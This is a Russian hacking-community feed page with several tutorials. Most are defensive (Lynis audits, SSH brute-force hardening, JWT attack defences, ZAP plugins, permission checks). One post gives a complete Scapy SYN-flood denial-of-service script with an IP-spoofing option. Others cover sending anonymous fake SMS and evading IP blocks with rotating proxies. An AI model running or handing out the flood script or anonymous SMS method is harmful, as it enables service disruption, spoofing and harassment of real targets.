Сообщество - Life-Hack [Жизнь-Взлом]/Хакинг
Добавить пост

Life-Hack [Жизнь-Взлом]/Хакинг

251 пост 2 696 подписчиков

Популярные теги в сообществе:

Отправляем бесплатное анонимное СМС в Kali Linux

Через что? 👇

Fake-SMS - это небольшой скрипт, работающий через сервис textbelt com, позволяющий отправлять бесплатные и анонимные сообщения из терминала операционной системы Kali Linux.

▪Возможности Fake-SMS:

🔵 Быстрая бесплатная и анонимная отправка смс.

🔵 Позволяет отправить смс по всему миру.

🔵 Очень простой в использовании инструмент.

🔵 Бесплатно можно отправить только одно смс-сообщение в день.

▪ Скачиваем и устанавливаем Fake-SMS на Kali Linux

Для скачивания и установки Fake-SMS, используйте команду:

sudo git clone https://github.com/machine1337/fake-sms

После загрузки, перейти в каталог:

cd fake-sms

Изменить права на выполнение:

sudo chmod 755 run.sh

▪ Использование Fake-SMS для создания отправки СМС

Для запуска Fake-SMS, выполните скрипт:

sudo ./run.sh

  Чтобы отправить SMS-сообщение, просто введите цифру 2 (Send Fake SMS).

Если открыть скрипт Fake-SMS в текстовом редакторе и прокрутить вниз до строки 119-120, мы увидим команду curl для сервиса textbelt.com.

▪Использование команды curl для отправки бесплатного SMS

  Открыть аккаунт на сайте textbelt.com. После чего можно будет отправлять одно бесплатное анонимное sms-сообщение в день или купить кредиты и получить ключ API.

  Теперь можно отправлять смс без скрипта Fake-SMS, напрямую, с помощью команды curl в Linux (если у вас есть API, вы можете использовать другие инструменты, но curl прекрасно справляется с задачей).

Синтаксис команды:

curl -X POST https://textbelt.com/text --data-urlencode phone='номер-телефона-с-кодом-страны'

—data-urlencode=сообщение=’текстовое сообщение’

-d key=ключ api

Теперь можно создать команду для отправки смс-сообщения,  добавив ключ API.

После отправки смс, появится информации о количестве оставшихся кредов (купленных сообщений).

Мы в телеграме!

Показать полностью

Продвинутые методы веб-скрейпинга с помощью Python

1. Скраппинг динамических сайтов

Одним из популярных инструментов является Selenium.

Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.

Пример:

from selenium import webdriver

from bs4 import BeautifulSoup

driver = webdriver.Firefox()

driver.get('https://www.example.com')

# Wait for the JavaScript to load

time.sleep(5)

# Get the page source

soup = BeautifulSoup(driver.page_source, 'html.parser')

# Extract the data

table = soup.find('table', attrs={'id':'dynamic-table'})

data = []

for row in table.find_all('tr'):

data.append([cell.text for cell in row.find_all('td')])

# Close the browser

driver.quit()

2. Работа с CAPTCHA и IP-блокировками

Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.

Одним из популярных инструментов является Anti-Captcha.

Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.

Пример:

import requests

url = 'https://anti-captcha.com/api/create'

data = {

'type': 'image',

'phrase': captcha_text

}

response = requests.post(url, data=data)

captcha_id = response.json()['captchaId']

url = 'https://anti-captcha.com/api/solve'

data = {

'captchaId': captcha_id

}

response = requests.post(url, data=data)

solution = response.json()['solution']

Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.

Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.

Пример:

import requests

import random

def get_proxy():

"""Gets a proxy from the proxy scrape service."""

response = requests.get('https://www.proxyscrape.com/')

data = response.json()

proxy = random.choice(data['results'])['ip'] + ':' + data['results'][0]['port']

return proxy

def scrape_website(proxy):

"""Scrape the website using the proxy."""

response = requests.get(url, proxies={'http': proxy, 'https': proxy})

soup = BeautifulSoup(response.text, 'html.parser')

data = []

for row in soup.find_all('tr'):

data.append([cell.text for cell in row.find_all('td')])

return data

if __name__ == '__main__':

proxy = get_proxy()

data = scrape_website(proxy)

print(data)

# Rotate the proxy

proxy = get_proxy()

data = scrape_website(proxy)

print(data)

Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.

Для выполнения этого кода вам потребуется установить следующие библиотеки Python:

- requests

- BeautifulSoup4

Вы можете установить эти библиотеки с помощью следующей команды:

pip install requests BeautifulSoup4

Сохраняй пост себе, чтобы не потерять.

Мы в телеграме!

Показать полностью

Использование Lynis для проверки защищенности Linux

▪ Установка Lynis на Linux

Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.

Для установки Lynis, выполните команду:

root@debian:~/# sudo apt-get install lynis

▪  Использование Lynis для проверки защищенности Linux

Ознакомитесь с основными параметрами Lynis:

✔️--auditor "имя" — присвоить аудиту имя.

✔️--checkall -c — начать проверку.

✔️--check-update — проверить актуальность Lynis.

✔️--cronjob — запустить Lynis как cronjob (включает -c -Q).

✔️--help — отобразить справку.

✔️--nocolors — не использовать цвета.

✔️--pentest — выполнить тестирование на проникновение (без привилегий).

✔️--quick — не ждать ввода данных пользователем, за исключением ошибок.

✔️--quiet — показать только предупреждения (включает —quick, но не ждет).

✔️--reverse-colors — использовать другую цветовую схему для светлого фона.

✔️--version — проверить версию программы (и выйти).

Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).

root@debian:~/# sudo lynis audit system

...

Lynis security scan details:

Hardening index : 84 [############## ]

Tests performed : 260

Plugins enabled : 1

Components:

- Firewall  [V]

- Malware scanner  [V]

Scan mode:

Normal [V] Forensics [ ] Integration [ ] Pentest [ ]

Lynis modules:

- Compliance status  [?]

- Security audit  [V]

- Vulnerability scan [V]

Files:

- Test and debug information : /var/log/lynis.log

- Report data  : /var/log/lynis-report.dat

▪ Использование профилей Lynis

Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.

Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.

Мы в телеграме!

Показать полностью

Защита от Брутфорса SSH в Linux

Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.

Защититься от этого можно по-разному:

1) Используя возможности настройки демона SSH

2) Пакетный фильтр

3) Специальные приложения

4) Port knocking

▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:

Port 2002

▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.

AllowUsers admin user@192.168.0.1

▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.

Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:

# всем разрешаем доступ по паролю

PasswordAuthentication yes

# root будет использовать только сертификат

match user root

PasswordAuthentication no

KbdInteractiveAuthentication no

▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:

sshd : 192.168.1.0/24 : allow

Или в /etc/hosts.deny:

sshd : ALL : deny

sshd : ALL EXCEPT 192.168.1.0/24 : allow

▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:

iptables -A INPUT -s !192.168.0.1 -p tcp -m tcp --dport 22 ↵

-j REJECT —reject-with icmp-port-unreachable

▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.

Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.

По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.

В Ubuntu и Debian устанавливается командой:

$ sudo apt-get install fail2ban

▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).

[ssh]

enabled = true

port = 22

filter = sshd

logpath = /var/log/auth.log

maxretry = 3

▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.

Мы в телеграме!

Показать полностью

JWT-атаки

JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.

Распространенные атаки, связанные с JWT:

▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.

▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.

▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.

▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.

Инструменты для автоматизации JWT-атаки:

jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!

JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.

JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.

JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.

Методы защиты от JWT-атак:

✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.

✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.

✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.

✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.

✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.

✔️Избегать передачи конфиденциальной информации напрямую в токенах.

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью

Небольшая подборка плагинов для OWASP ZAP

Access Control Testing

Позволяет проводить тестирование контроля доступа и выявлять потенциальные проблемы с контролем доступа.

Advanced SQLInjection Add-on

Инструмент активного сканирования для обнаружения SQLi (на основе SQLMap).

Attack Surface Detector

Плагин помогает выявить конечные точки веб-приложения, параметры, которые принимают эти конечные точки, и тип данных этих параметров.

DOM XSS Active Scan Rule

Активный сканер для обнаружения уязвимостей DOM XSS.

Directory List v2.3

Предоставляет файлы с именами каталогов для брутфорса или фаззинга.

Eval Villain

Расширение для ZAP и Firefox, которое будет подключаться к опасным функциям, таким как eval, и предупреждать вас об их использовании.

GraphQL Support

Плагин для получения структуры и запросов GraphQL.

Out-of-band Application Security Testing Support

Сервер OAST для обнаружения внешних и слепых уязвимостей. Аналог Burp Collaborator, только для ZAP.

HUNT v2

Выполняет пассивное сканирование на наличие потенциально уязвимых параметров.

Community-scripts

Большая коллекция скриптов ZAP предоставленная комьюнити

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью

Как осуществить атаку SYN Flooding в Python

В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.

▪Необходимо установить Scapy:

pip3 install scapy

▪Откройте новый файл Python и импортируйте Scapy:

from scapy.all import *

▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:

# target IP address (should be a testing router/firewall)

target_ip = "192.168.1.1"

# the target port u want to flood

target_port = 80

▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:

# forge IP packet with target ip as the destination IP address

ip = IP(dst=target_ip)

# or if you want to perform IP Spoofing (will work as well)

# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.

▪Давайте подделаем наш TCP уровень:

# forge a TCP SYN packet with a random source port

# and the target port as the destination port

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.

Мы также установили флаги на “S”, что указывает на тип SYN.

▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:

# add some flooding data (1KB in this case)

raw = Raw(b"X"*1024)

Отлично!

▪Теперь сложим слои и отправим пакет:

# stack up the layers

p = ip / tcp / raw

# send the constructed packet in a loop until CTRL+C is detected

send(p, loop=1, verbose=0)

Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью

Сможете найти на картинке цифру среди букв?

Справились? Тогда попробуйте пройти нашу новую игру на внимательность. Приз — награда в профиль на Пикабу: https://pikabu.ru/link/-oD8sjtmAi

Сможете найти на картинке цифру среди букв? Игры, Награда

Поиск нежелательных прав доступа к файлам Kali Linux

Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.

Найти все файлы, доступные для чтения другим пользователям

Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:

find . -perm /004 -type f -print0 | xargs -0 ls -l

Найти все файлы с доступом для других пользователей

Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:

find ~ -perm /007 -type f -print0 | xargs -0 ls -l

Найти все файлы, доступные для записи другим пользователям

Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:

find /{название_директории} -perm /002 -type f -print0 | xargs -0 ls -l

Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям

Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:

find ~ -perm -102 -type f -print0 | xargs -0 ls -l # User

find ~ -perm -012 -type f -print0 | xargs -0 ls -l # Group

Найти все файлы, не принадлежащие определенной группе

Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:

find . -not -group {название_группы} -type f -print0 | xargs -0 ls -l

Найти все файлы, принадлежащие определенной группе

Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:

find ~ -group {название_группы} -type f -print0 | xargs -0 ls -l

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Показать полностью
Отличная работа, все прочитано!